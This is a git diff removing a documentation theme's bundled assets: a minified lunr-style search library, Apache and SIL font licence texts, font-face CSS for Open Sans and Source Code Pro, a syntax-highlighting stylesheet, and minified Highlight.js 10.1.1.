-!function(){function e(e){if(null===e||"object"!=typeof e)return e;var t=e.constructor();for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n]);return t}var t=function(e){var n=new t.Index;return n.pipeline.add(t.trimmer,t.stopWordFilter,t.stemmer),e&&e.call(n,n),n};t.version="0.9.5",lunr=t,t.utils={},t.utils.warn=function(e){return function(t){e.console&&console.warn&&console.warn(t)}}(this),t.utils.toString=function(e){return void 0===e||null===e?"":e.toString()},t.EventEmitter=function(){this.events={}},t.EventEmitter.prototype.addListener=function(){var e=Array.prototype.slice.call(arguments),t=e.pop(),n=e;if("function"!=typeof t)throw new TypeError("last argument must be a function");n.forEach(function(e){this.hasHandler(e)||(this.events[e]=[]),this.events[e].push(t)},this)},t.EventEmitter.prototype.removeListener=function(e,t){if(this.hasHandler(e)){var n=this.events[e].indexOf(t);-1!==n&&(this.events[e].splice(n,1),0==this.events[e].length&&delete this.events[e])}},t.EventEmitter.prototype.emit=function(e){if(this.hasHandler(e)){var t=Array.prototype.slice.call(arguments,1);this.events[e].forEach(function(e){e.apply(void 0,t)},this)}},t.EventEmitter.prototype.hasHandler=function(e){return e in this.events},t.tokenizer=function(e){if(!arguments.length||null===e||void 0===e)return[];if(Array.isArray(e)){var n=e.filter(function(e){return null===e||void 0===e?!1:!0});n=n.map(function(e){return t.utils.toString(e).toLowerCase()});var i=[];return n.forEach(function(e){var n=e.split(t.tokenizer.seperator);i=i.concat(n)},this),i}return e.toString().trim().toLowerCase().split(t.tokenizer.seperator)},t.tokenizer.defaultSeperator=/[\s\-]+/,t.tokenizer.seperator=t.tokenizer.defaultSeperator,t.tokenizer.setSeperator=function(e){null!==e&&void 0!==e&&"object"==typeof e&&(t.tokenizer.seperator=e)},t.tokenizer.resetSeperator=function(){t.tokenizer.seperator=t.tokenizer.defaultSeperator},t.tokenizer.getSeperator=function(){return t.tokenizer.seperator},t.Pipeline=function(){this._queue=[]},t.Pipeline.registeredFunctions={},t.Pipeline.registerFunction=function(e,n){n in t.Pipeline.registeredFunctions&&t.utils.warn("Overwriting existing registered function: "+n),e.label=n,t.Pipeline.registeredFunctions[n]=e},t.Pipeline.getRegisteredFunction=function(e){return e in t.Pipeline.registeredFunctions!=!0?null:t.Pipeline.registeredFunctions[e]},t.Pipeline.warnIfFunctionNotRegistered=function(e){var n=e.label&&e.label in this.registeredFunctions;n||t.utils.warn("Function is not registered with pipeline. This may cause problems when serialising the index.\n",e)},t.Pipeline.load=function(e){var n=new t.Pipeline;return e.forEach(function(e){var i=t.Pipeline.getRegisteredFunction(e);if(!i)throw new Error("Cannot load un-registered function: "+e);n.add(i)}),n},t.Pipeline.prototype.add=function(){var e=Array.prototype.slice.call(arguments);e.forEach(function(e){t.Pipeline.warnIfFunctionNotRegistered(e),this._queue.push(e)},this)},t.Pipeline.prototype.after=function(e,n){t.Pipeline.warnIfFunctionNotRegistered(n);var i=this._queue.indexOf(e);if(-1===i)throw new Error("Cannot find existingFn");this._queue.splice(i+1,0,n)},t.Pipeline.prototype.before=function(e,n){t.Pipeline.warnIfFunctionNotRegistered(n);var i=this._queue.indexOf(e);if(-1===i)throw new Error("Cannot find existingFn");this._queue.splice(i,0,n)},t.Pipeline.prototype.remove=function(e){var t=this._queue.indexOf(e);-1!==t&&this._queue.splice(t,1)},t.Pipeline.prototype.run=function(e){for(var t=[],n=e.length,i=this._queue.length,o=0;n>o;o++){for(var r=e[o],s=0;i>s&&(r=this._queue[s](r,o,e),void 0!==r&&null!==r);s++);void 0!==r&&null!==r&&t.push(r)}return t},t.Pipeline.prototype.reset=function(){this._queue=[]},t.Pipeline.prototype.get=function(){return this._queue},t.Pipeline.prototype.toJSON=function(){return this._queue.map(function(e){return t.Pipeline.warnIfFunctionNotRegistered(e),e.label})},t.Index=function(){this._fields=[],this._ref="id",this.pipeline=new t.Pipeline,this.documentStore=new t.DocumentStore,this.index={},this.eventEmitter=new t.EventEmitter,this._idfCache={},this.on("add","remove","update",function(){this._idfCache={}}.bind(this))},t.Index.prototype.on=function(){var e=Array.prototype.slice.call(arguments);return this.eventEmitter.addListener.apply(this.eventEmitter,e)},t.Index.prototype.off=function(e,t){return this.eventEmitter.removeListener(e,t)},t.Index.load=function(e){e.version!==t.version&&t.utils.warn("version mismatch: current "+t.version+" importing "+e.version);var n=new this;n._fields=e.fields,n._ref=e.ref,n.documentStore=t.DocumentStore.load(e.documentStore),n.pipeline=t.Pipeline.load(e.pipeline),n.index={};for(var i in e.index)n.index[i]=t.InvertedIndex.load(e.index[i]);return n},t.Index.prototype.addField=function(e){return this._fields.push(e),this.index[e]=new t.InvertedIndex,this},t.Index.prototype.setRef=function(e){return this._ref=e,this},t.Index.prototype.saveDocument=function(e){return this.documentStore=new t.DocumentStore(e),this},t.Index.prototype.addDoc=function(e,n){if(e){var n=void 0===n?!0:n,i=e[this._ref];this.documentStore.addDoc(i,e),this._fields.forEach(function(n){var o=this.pipeline.run(t.tokenizer(e[n]));this.documentStore.addFieldLength(i,n,o.length);var r={};o.forEach(function(e){e in r?r[e]+=1:r[e]=1},this);for(var s in r){var u=r[s];u=Math.sqrt(u),this.index[n].addToken(s,{ref:i,tf:u})}},this),n&&this.eventEmitter.emit("add",e,this)}},t.Index.prototype.removeDocByRef=function(e){if(e&&this.documentStore.isDocStored()!==!1&&this.documentStore.hasDoc(e)){var t=this.documentStore.getDoc(e);this.removeDoc(t,!1)}},t.Index.prototype.removeDoc=function(e,n){if(e){var n=void 0===n?!0:n,i=e[this._ref];this.documentStore.hasDoc(i)&&(this.documentStore.removeDoc(i),this._fields.forEach(function(n){var o=this.pipeline.run(t.tokenizer(e[n]));o.forEach(function(e){this.index[n].removeToken(e,i)},this)},this),n&&this.eventEmitter.emit("remove",e,this))}},t.Index.prototype.updateDoc=function(e,t){var t=void 0===t?!0:t;this.removeDocByRef(e[this._ref],!1),this.addDoc(e,!1),t&&this.eventEmitter.emit("update",e,this)},t.Index.prototype.idf=function(e,t){var n="@"+t+"/"+e;if(Object.prototype.hasOwnProperty.call(this._idfCache,n))return this._idfCache[n];var i=this.index[t].getDocFreq(e),o=1+Math.log(this.documentStore.length/(i+1));return this._idfCache[n]=o,o},t.Index.prototype.getFields=function(){return this._fields.slice()},t.Index.prototype.search=function(e,n){if(!e)return[];var i=null;null!=n&&(i=JSON.stringify(n));var o=new t.Configuration(i,this.getFields()).get(),r=this.pipeline.run(t.tokenizer(e)),s={};for(var u in o){var a=this.fieldSearch(r,u,o),l=o[u].boost;for(var d in a)a[d]=a[d]*l;for(var d in a)d in s?s[d]+=a[d]:s[d]=a[d]}var c=[];for(var d in s)c.push({ref:d,score:s[d]});return c.sort(function(e,t){return t.score-e.score}),c},t.Index.prototype.fieldSearch=function(e,t,n){var i=n[t].bool,o=n[t].expand,r=n[t].boost,s=null,u={};return 0!==r?(e.forEach(function(e){var n=[e];1==o&&(n=this.index[t].expandToken(e));var r={};n.forEach(function(n){var o=this.index[t].getDocs(n),a=this.idf(n,t);if(s&&"AND"==i){var l={};for(var d in s)d in o&&(l[d]=o[d]);o=l}n==e&&this.fieldSearchStats(u,n,o);for(var d in o){var c=this.index[t].getTermFrequency(n,d),f=this.documentStore.getFieldLength(d,t),h=1;0!=f&&(h=1/Math.sqrt(f));var p=1;n!=e&&(p=.15*(1-(n.length-e.length)/n.length));var v=c*a*h*p;d in r?r[d]+=v:r[d]=v}},this),s=this.mergeScores(s,r,i)},this),s=this.coordNorm(s,u,e.length)):void 0},t.Index.prototype.mergeScores=function(e,t,n){if(!e)return t;if("AND"==n){var i={};for(var o in t)o in e&&(i[o]=e[o]+t[o]);return i}for(var o in t)o in e?e[o]+=t[o]:e[o]=t[o];return e},t.Index.prototype.fieldSearchStats=function(e,t,n){for(var i in n)i in e?e[i].push(t):e[i]=[t]},t.Index.prototype.coordNorm=function(e,t,n){for(var i in e)if(i in t){var o=t[i].length;e[i]=e[i]*o/n}return e},t.Index.prototype.toJSON=function(){var e={};return this._fields.forEach(function(t){e[t]=this.index[t].toJSON()},this),{version:t.version,fields:this._fields,ref:this._ref,documentStore:this.documentStore.toJSON(),index:e,pipeline:this.pipeline.toJSON()}},t.Index.prototype.use=function(e){var t=Array.prototype.slice.call(arguments,1);t.unshift(this),e.apply(this,t)},t.DocumentStore=function(e){this._save=null===e||void 0===e?!0:e,this.docs={},this.docInfo={},this.length=0},t.DocumentStore.load=function(e){var t=new this;return t.length=e.length,t.docs=e.docs,t.docInfo=e.docInfo,t._save=e.save,t},t.DocumentStore.prototype.isDocStored=function(){return this._save},t.DocumentStore.prototype.addDoc=function(t,n){this.hasDoc(t)||this.length++,this.docs[t]=this._save===!0?e(n):null},t.DocumentStore.prototype.getDoc=function(e){return this.hasDoc(e)===!1?null:this.docs[e]},t.DocumentStore.prototype.hasDoc=function(e){return e in this.docs},t.DocumentStore.prototype.removeDoc=function(e){this.hasDoc(e)&&(delete this.docs[e],delete this.docInfo[e],this.length--)},t.DocumentStore.prototype.addFieldLength=function(e,t,n){null!==e&&void 0!==e&&0!=this.hasDoc(e)&&(this.docInfo[e]||(this.docInfo[e]={}),this.docInfo[e][t]=n)},t.DocumentStore.prototype.updateFieldLength=function(e,t,n){null!==e&&void 0!==e&&0!=this.hasDoc(e)&&this.addFieldLength(e,t,n)},t.DocumentStore.prototype.getFieldLength=function(e,t){return null===e||void 0===e?0:e in this.docs&&t in this.docInfo[e]?this.docInfo[e][t]:0},t.DocumentStore.prototype.toJSON=function(){return{docs:this.docs,docInfo:this.docInfo,length:this.length,save:this._save}},t.stemmer=function(){var e={ational:"ate",tional:"tion",enci:"ence",anci:"ance",izer:"ize",bli:"ble",alli:"al",entli:"ent",eli:"e",ousli:"ous",ization:"ize",ation:"ate",ator:"ate",alism:"al",iveness:"ive",fulness:"ful",ousness:"ous",aliti:"al",iviti:"ive",biliti:"ble",logi:"log"},t={icate:"ic",ative:"",alize:"al",iciti:"ic",ical:"ic",ful:"",ness:""},n="[^aeiou]",i="[aeiouy]",o=n+"[^aeiouy]*",r=i+"[aeiou]*",s="^("+o+")?"+r+o,u="^("+o+")?"+r+o+"("+r+")?$",a="^("+o+")?"+r+o+r+o,l="^("+o+")?"+i,d=new RegExp(s),c=new RegExp(a),f=new RegExp(u),h=new RegExp(l),p=/^(.+?)(ss|i)es$/,v=/^(.+?)([^s])s$/,g=/^(.+?)eed$/,m=/^(.+?)(ed|ing)$/,y=/.$/,S=/(at|bl|iz)$/,x=new RegExp("([^aeiouylsz])\\1$"),w=new RegExp("^"+o+i+"[^aeiouwxy]$"),I=/^(.+?[^aeiou])y$/,b=/^(.+?)(ational|tional|enci|anci|izer|bli|alli|entli|eli|ousli|ization|ation|ator|alism|iveness|fulness|ousness|aliti|iviti|biliti|logi)$/,E=/^(.+?)(icate|ative|alize|iciti|ical|ful|ness)$/,D=/^(.+?)(al|ance|ence|er|ic|able|ible|ant|ement|ment|ent|ou|ism|ate|iti|ous|ive|ize)$/,F=/^(.+?)(s|t)(ion)$/,_=/^(.+?)e$/,P=/ll$/,k=new RegExp("^"+o+i+"[^aeiouwxy]$"),z=function(n){var i,o,r,s,u,a,l;if(n.length<3)return n;if(r=n.substr(0,1),"y"==r&&(n=r.toUpperCase()+n.substr(1)),s=p,u=v,s.test(n)?n=n.replace(s,"$1$2"):u.test(n)&&(n=n.replace(u,"$1$2")),s=g,u=m,s.test(n)){var z=s.exec(n);s=d,s.test(z[1])&&(s=y,n=n.replace(s,""))}else if(u.test(n)){var z=u.exec(n);i=z[1],u=h,u.test(i)&&(n=i,u=S,a=x,l=w,u.test(n)?n+="e":a.test(n)?(s=y,n=n.replace(s,"")):l.test(n)&&(n+="e"))}if(s=I,s.test(n)){var z=s.exec(n);i=z[1],n=i+"i"}if(s=b,s.test(n)){var z=s.exec(n);i=z[1],o=z[2],s=d,s.test(i)&&(n=i+e[o])}if(s=E,s.test(n)){var z=s.exec(n);i=z[1],o=z[2],s=d,s.test(i)&&(n=i+t[o])}if(s=D,u=F,s.test(n)){var z=s.exec(n);i=z[1],s=c,s.test(i)&&(n=i)}else if(u.test(n)){var z=u.exec(n);i=z[1]+z[2],u=c,u.test(i)&&(n=i)}if(s=_,s.test(n)){var z=s.exec(n);i=z[1],s=c,u=f,a=k,(s.test(i)||u.test(i)&&!a.test(i))&&(n=i)}return s=P,u=c,s.test(n)&&u.test(n)&&(s=y,n=n.replace(s,"")),"y"==r&&(n=r.toLowerCase()+n.substr(1)),n};return z}(),t.Pipeline.registerFunction(t.stemmer,"stemmer"),t.stopWordFilter=function(e){return e&&t.stopWordFilter.stopWords[e]!==!0?e:void 0},t.clearStopWords=function(){t.stopWordFilter.stopWords={}},t.addStopWords=function(e){null!=e&&Array.isArray(e)!==!1&&e.forEach(function(e){t.stopWordFilter.stopWords[e]=!0},this)},t.resetStopWords=function(){t.stopWordFilter.stopWords=t.defaultStopWords},t.defaultStopWords={"":!0,a:!0,able:!0,about:!0,across:!0,after:!0,all:!0,almost:!0,also:!0,am:!0,among:!0,an:!0,and:!0,any:!0,are:!0,as:!0,at:!0,be:!0,because:!0,been:!0,but:!0,by:!0,can:!0,cannot:!0,could:!0,dear:!0,did:!0,"do":!0,does:!0,either:!0,"else":!0,ever:!0,every:!0,"for":!0,from:!0,get:!0,got:!0,had:!0,has:!0,have:!0,he:!0,her:!0,hers:!0,him:!0,his:!0,how:!0,however:!0,i:!0,"if":!0,"in":!0,into:!0,is:!0,it:!0,its:!0,just:!0,least:!0,let:!0,like:!0,likely:!0,may:!0,me:!0,might:!0,most:!0,must:!0,my:!0,neither:!0,no:!0,nor:!0,not:!0,of:!0,off:!0,often:!0,on:!0,only:!0,or:!0,other:!0,our:!0,own:!0,rather:!0,said:!0,say:!0,says:!0,she:!0,should:!0,since:!0,so:!0,some:!0,than:!0,that:!0,the:!0,their:!0,them:!0,then:!0,there:!0,these:!0,they:!0,"this":!0,tis:!0,to:!0,too:!0,twas:!0,us:!0,wants:!0,was:!0,we:!0,were:!0,what:!0,when:!0,where:!0,which:!0,"while":!0,who:!0,whom:!0,why:!0,will:!0,"with":!0,would:!0,yet:!0,you:!0,your:!0},t.stopWordFilter.stopWords=t.defaultStopWords,t.Pipeline.registerFunction(t.stopWordFilter,"stopWordFilter"),t.trimmer=function(e){if(null===e||void 0===e)throw new Error("token should not be undefined");return e.replace(/^\W+/,"").replace(/\W+$/,"")},t.Pipeline.registerFunction(t.trimmer,"trimmer"),t.InvertedIndex=function(){this.root={docs:{},df:0}},t.InvertedIndex.load=function(e){var t=new this;return t.root=e.root,t},t.InvertedIndex.prototype.addToken=function(e,t,n){for(var n=n||this.root,i=0;i<=e.length-1;){var o=e[i];o in n||(n[o]={docs:{},df:0}),i+=1,n=n[o]}var r=t.ref;n.docs[r]?n.docs[r]={tf:t.tf}:(n.docs[r]={tf:t.tf},n.df+=1)},t.InvertedIndex.prototype.hasToken=function(e){if(!e)return!1;for(var t=this.root,n=0;n<e.length;n++){if(!t[e[n]])return!1;t=t[e[n]]}return!0},t.InvertedIndex.prototype.getNode=function(e){if(!e)return null;for(var t=this.root,n=0;n<e.length;n++){if(!t[e[n]])return null;t=t[e[n]]}return t},t.InvertedIndex.prototype.getDocs=function(e){var t=this.getNode(e);return null==t?{}:t.docs},t.InvertedIndex.prototype.getTermFrequency=function(e,t){var n=this.getNode(e);return null==n?0:t in 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index d6456956733..00000000000
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-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
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-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
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-      "Legal Entity" shall mean the union of the acting entity and all
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-      control with that entity. For the purposes of this definition,
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-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
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-      "You" (or "Your") shall mean an individual or Legal Entity
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diff --git a/theme/fonts/SOURCE-CODE-PRO-LICENSE.txt b/theme/fonts/SOURCE-CODE-PRO-LICENSE.txt
deleted file mode 100644
index 366206f5495..00000000000
--- a/theme/fonts/SOURCE-CODE-PRO-LICENSE.txt
+++ /dev/null
@@ -1,93 +0,0 @@
-Copyright 2010, 2012 Adobe Systems Incorporated (http://www.adobe.com/), with Reserved Font Name 'Source'. All Rights Reserved. Source is a trademark of Adobe Systems Incorporated in the United States and/or other countries.
-
-This Font Software is licensed under the SIL Open Font License, Version 1.1.
-This license is copied below, and is also available with a FAQ at:
-http://scripts.sil.org/OFL
-
-
------------------------------------------------------------
-SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007
------------------------------------------------------------
-
-PREAMBLE
-The goals of the Open Font License (OFL) are to stimulate worldwide
-development of collaborative font projects, to support the font creation
-efforts of academic and linguistic communities, and to provide a free and
-open framework in which fonts may be shared and improved in partnership
-with others.
-
-The OFL allows the licensed fonts to be used, studied, modified and
-redistributed freely as long as they are not sold by themselves. The
-fonts, including any derivative works, can be bundled, embedded, 
-redistributed and/or sold with any software provided that any reserved
-names are not used by derivative works. The fonts and derivatives,
-however, cannot be released under any other type of license. The
-requirement for fonts to remain under this license does not apply
-to any document created using the fonts or their derivatives.
-
-DEFINITIONS
-"Font Software" refers to the set of files released by the Copyright
-Holder(s) under this license and clearly marked as such. This may
-include source files, build scripts and documentation.
-
-"Reserved Font Name" refers to any names specified as such after the
-copyright statement(s).
-
-"Original Version" refers to the collection of Font Software components as
-distributed by the Copyright Holder(s).
-
-"Modified Version" refers to any derivative made by adding to, deleting,
-or substituting -- in part or in whole -- any of the components of the
-Original Version, by changing formats or by porting the Font Software to a
-new environment.
-
-"Author" refers to any designer, engineer, programmer, technical
-writer or other person who contributed to the Font Software.
-
-PERMISSION & CONDITIONS
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of the Font Software, to use, study, copy, merge, embed, modify,
-redistribute, and sell modified and unmodified copies of the Font
-Software, subject to the following conditions:
-
-1) Neither the Font Software nor any of its individual components,
-in Original or Modified Versions, may be sold by itself.
-
-2) Original or Modified Versions of the Font Software may be bundled,
-redistributed and/or sold with any software, provided that each copy
-contains the above copyright notice and this license. These can be
-included either as stand-alone text files, human-readable headers or
-in the appropriate machine-readable metadata fields within text or
-binary files as long as those fields can be easily viewed by the user.
-
-3) No Modified Version of the Font Software may use the Reserved Font
-Name(s) unless explicit written permission is granted by the corresponding
-Copyright Holder. This restriction only applies to the primary font name as
-presented to the users.
-
-4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font
-Software shall not be used to promote, endorse or advertise any
-Modified Version, except to acknowledge the contribution(s) of the
-Copyright Holder(s) and the Author(s) or with their explicit written
-permission.
-
-5) The Font Software, modified or unmodified, in part or in whole,
-must be distributed entirely under this license, and must not be
-distributed under any other license. The requirement for fonts to
-remain under this license does not apply to any document created
-using the Font Software.
-
-TERMINATION
-This license becomes null and void if any of the above conditions are
-not met.
-
-DISCLAIMER
-THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
-OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE
-COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL
-DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM
-OTHER DEALINGS IN THE FONT SOFTWARE.
diff --git a/theme/fonts/fonts.css b/theme/fonts/fonts.css
deleted file mode 100644
index 858efa59800..00000000000
--- a/theme/fonts/fonts.css
+++ /dev/null
@@ -1,100 +0,0 @@
-/* Open Sans is licensed under the Apache License, Version 2.0. See http://www.apache.org/licenses/LICENSE-2.0 */
-/* Source Code Pro is under the Open Font License. See https://scripts.sil.org/cms/scripts/page.php?site_id=nrsi&id=OFL */
-
-/* open-sans-300 - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
-@font-face {
-  font-family: 'Open Sans';
-  font-style: normal;
-  font-weight: 300;
-  src: local('Open Sans Light'), local('OpenSans-Light'),
-       url('open-sans-v17-all-charsets-300.woff2') format('woff2');
-}
-
-/* open-sans-300italic - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
-@font-face {
-  font-family: 'Open Sans';
-  font-style: italic;
-  font-weight: 300;
-  src: local('Open Sans Light Italic'), local('OpenSans-LightItalic'),
-       url('open-sans-v17-all-charsets-300italic.woff2') format('woff2');
-}
-
-/* open-sans-regular - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
-@font-face {
-  font-family: 'Open Sans';
-  font-style: normal;
-  font-weight: 400;
-  src: local('Open Sans Regular'), local('OpenSans-Regular'),
-       url('open-sans-v17-all-charsets-regular.woff2') format('woff2');
-}
-
-/* open-sans-italic - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
-@font-face {
-  font-family: 'Open Sans';
-  font-style: italic;
-  font-weight: 400;
-  src: local('Open Sans Italic'), local('OpenSans-Italic'),
-       url('open-sans-v17-all-charsets-italic.woff2') format('woff2');
-}
-
-/* open-sans-600 - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
-@font-face {
-  font-family: 'Open Sans';
-  font-style: normal;
-  font-weight: 600;
-  src: local('Open Sans SemiBold'), local('OpenSans-SemiBold'),
-       url('open-sans-v17-all-charsets-600.woff2') format('woff2');
-}
-
-/* open-sans-600italic - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
-@font-face {
-  font-family: 'Open Sans';
-  font-style: italic;
-  font-weight: 600;
-  src: local('Open Sans SemiBold Italic'), local('OpenSans-SemiBoldItalic'),
-       url('open-sans-v17-all-charsets-600italic.woff2') format('woff2');
-}
-
-/* open-sans-700 - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
-@font-face {
-  font-family: 'Open Sans';
-  font-style: normal;
-  font-weight: 700;
-  src: local('Open Sans Bold'), local('OpenSans-Bold'),
-       url('open-sans-v17-all-charsets-700.woff2') format('woff2');
-}
-
-/* open-sans-700italic - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
-@font-face {
-  font-family: 'Open Sans';
-  font-style: italic;
-  font-weight: 700;
-  src: local('Open Sans Bold Italic'), local('OpenSans-BoldItalic'),
-       url('open-sans-v17-all-charsets-700italic.woff2') format('woff2');
-}
-
-/* open-sans-800 - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
-@font-face {
-  font-family: 'Open Sans';
-  font-style: normal;
-  font-weight: 800;
-  src: local('Open Sans ExtraBold'), local('OpenSans-ExtraBold'),
-       url('open-sans-v17-all-charsets-800.woff2') format('woff2');
-}
-
-/* open-sans-800italic - latin_vietnamese_latin-ext_greek-ext_greek_cyrillic-ext_cyrillic */
-@font-face {
-  font-family: 'Open Sans';
-  font-style: italic;
-  font-weight: 800;
-  src: local('Open Sans ExtraBold Italic'), local('OpenSans-ExtraBoldItalic'),
-       url('open-sans-v17-all-charsets-800italic.woff2') format('woff2');
-}
-
-/* source-code-pro-500 - latin_vietnamese_latin-ext_greek_cyrillic-ext_cyrillic */
-@font-face {
-  font-family: 'Source Code Pro';
-  font-style: normal;
-  font-weight: 500;
-  src: url('source-code-pro-v11-all-charsets-500.woff2') format('woff2');
-}
diff --git a/theme/fonts/open-sans-v17-all-charsets-300.woff2 b/theme/fonts/open-sans-v17-all-charsets-300.woff2
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diff --git a/theme/fonts/open-sans-v17-all-charsets-regular.woff2 b/theme/fonts/open-sans-v17-all-charsets-regular.woff2
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diff --git a/theme/fonts/source-code-pro-v11-all-charsets-500.woff2 b/theme/fonts/source-code-pro-v11-all-charsets-500.woff2
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index 722245682f5..00000000000
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diff --git a/theme/highlight.css b/theme/highlight.css
deleted file mode 100644
index a9559c21034..00000000000
--- a/theme/highlight.css
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
- * An increased contrast highlighting scheme loosely based on the
- * "Base16 Atelier Dune Light" theme by Bram de Haan
- * (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/dune)
- * Original Base16 color scheme by Chris Kempson
- * (https://github.com/chriskempson/base16)
- */
-
-/* Comment */
-.hljs-comment,
-.hljs-quote {
-  color: #575757;
-}
-
-/* Red */
-.hljs-variable,
-.hljs-template-variable,
-.hljs-attribute,
-.hljs-attr,
-.hljs-tag,
-.hljs-name,
-.hljs-regexp,
-.hljs-link,
-.hljs-name,
-.hljs-selector-id,
-.hljs-selector-class {
-  color: #d70025;
-}
-
-/* Orange */
-.hljs-number,
-.hljs-meta,
-.hljs-built_in,
-.hljs-builtin-name,
-.hljs-literal,
-.hljs-type,
-.hljs-params {
-  color: #b21e00;
-}
-
-/* Green */
-.hljs-string,
-.hljs-symbol,
-.hljs-bullet {
-  color: #008200;
-}
-
-/* Blue */
-.hljs-title,
-.hljs-section {
-  color: #0030f2;
-}
-
-/* Purple */
-.hljs-keyword,
-.hljs-selector-tag {
-  color: #9d00ec;
-}
-
-.hljs {
-  display: block;
-  overflow-x: auto;
-  background: #f6f7f6;
-  color: #000;
-  white-space: pre-wrap;
-}
-
-.hljs-emphasis {
-  font-style: italic;
-}
-
-.hljs-strong {
-  font-weight: bold;
-}
-
-.hljs-addition {
-  color: #22863a;
-  background-color: #f0fff4;
-}
-
-.hljs-deletion {
-  color: #b31d28;
-  background-color: #ffeef0;
-}
diff --git a/theme/highlight.js b/theme/highlight.js
deleted file mode 100644
index 7a0a2886932..00000000000
--- a/theme/highlight.js
+++ /dev/null
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-/*
-  Highlight.js 10.1.1 (93fd0d73)
-  License: BSD-3-Clause
-  Copyright (c) 2006-2020, Ivan Sagalaev
-*/
-var hljs=function(){"use strict";function e(n){Object.freeze(n);var t="function"==typeof n;return Object.getOwnPropertyNames(n).forEach((function(r){!Object.hasOwnProperty.call(n,r)||null===n[r]||"object"!=typeof n[r]&&"function"!=typeof n[r]||t&&("caller"===r||"callee"===r||"arguments"===r)||Object.isFrozen(n[r])||e(n[r])})),n}class n{constructor(e){void 0===e.data&&(e.data={}),this.data=e.data}ignoreMatch(){this.ignore=!0}}function t(e){return e.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;").replace(/'/g,"'")}function r(e,...n){var t={};for(const n in e)t[n]=e[n];return n.forEach((function(e){for(const n in e)t[n]=e[n]})),t}function a(e){return e.nodeName.toLowerCase()}var i=Object.freeze({__proto__:null,escapeHTML:t,inherit:r,nodeStream:function(e){var n=[];return function e(t,r){for(var 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vcvttsd2si vcvttss2si vdivpd vdivps vdivsd vdivss vdppd vdpps vextractf128 vextractps vhaddpd vhaddps vhsubpd vhsubps vinsertf128 vinsertps vlddqu vldqqu vldmxcsr vmaskmovdqu vmaskmovps vmaskmovpd vmaxpd vmaxps vmaxsd vmaxss vminpd vminps vminsd vminss vmovapd vmovaps vmovd vmovq vmovddup vmovdqa vmovqqa vmovdqu vmovqqu vmovhlps vmovhpd vmovhps vmovlhps vmovlpd vmovlps vmovmskpd vmovmskps vmovntdq vmovntqq vmovntdqa vmovntpd vmovntps vmovsd vmovshdup vmovsldup vmovss vmovupd vmovups vmpsadbw vmulpd vmulps vmulsd vmulss vorpd vorps vpabsb vpabsw vpabsd vpacksswb vpackssdw vpackuswb vpackusdw vpaddb vpaddw vpaddd vpaddq vpaddsb vpaddsw vpaddusb vpaddusw vpalignr vpand vpandn vpavgb vpavgw vpblendvb vpblendw vpcmpestri vpcmpestrm vpcmpistri vpcmpistrm vpcmpeqb vpcmpeqw vpcmpeqd vpcmpeqq vpcmpgtb vpcmpgtw vpcmpgtd vpcmpgtq vpermilpd vpermilps vperm2f128 vpextrb vpextrw vpextrd vpextrq vphaddw vphaddd vphaddsw vphminposuw vphsubw vphsubd vphsubsw vpinsrb vpinsrw vpinsrd vpinsrq vpmaddwd vpmaddubsw vpmaxsb vpmaxsw vpmaxsd vpmaxub vpmaxuw vpmaxud vpminsb vpminsw vpminsd vpminub vpminuw vpminud vpmovmskb vpmovsxbw vpmovsxbd vpmovsxbq vpmovsxwd vpmovsxwq vpmovsxdq vpmovzxbw vpmovzxbd vpmovzxbq vpmovzxwd vpmovzxwq vpmovzxdq vpmulhuw vpmulhrsw vpmulhw vpmullw vpmulld vpmuludq vpmuldq vpor vpsadbw vpshufb vpshufd vpshufhw vpshuflw vpsignb vpsignw vpsignd vpslldq vpsrldq vpsllw vpslld vpsllq vpsraw vpsrad vpsrlw vpsrld vpsrlq vptest vpsubb vpsubw vpsubd vpsubq vpsubsb vpsubsw vpsubusb vpsubusw vpunpckhbw vpunpckhwd vpunpckhdq vpunpckhqdq vpunpcklbw vpunpcklwd vpunpckldq vpunpcklqdq vpxor vrcpps vrcpss vrsqrtps vrsqrtss vroundpd vroundps vroundsd vroundss vshufpd vshufps vsqrtpd vsqrtps vsqrtsd vsqrtss vstmxcsr vsubpd vsubps vsubsd vsubss vtestps vtestpd vucomisd vucomiss vunpckhpd vunpckhps vunpcklpd vunpcklps vxorpd vxorps vzeroall vzeroupper pclmullqlqdq pclmulhqlqdq pclmullqhqdq pclmulhqhqdq pclmulqdq vpclmullqlqdq vpclmulhqlqdq 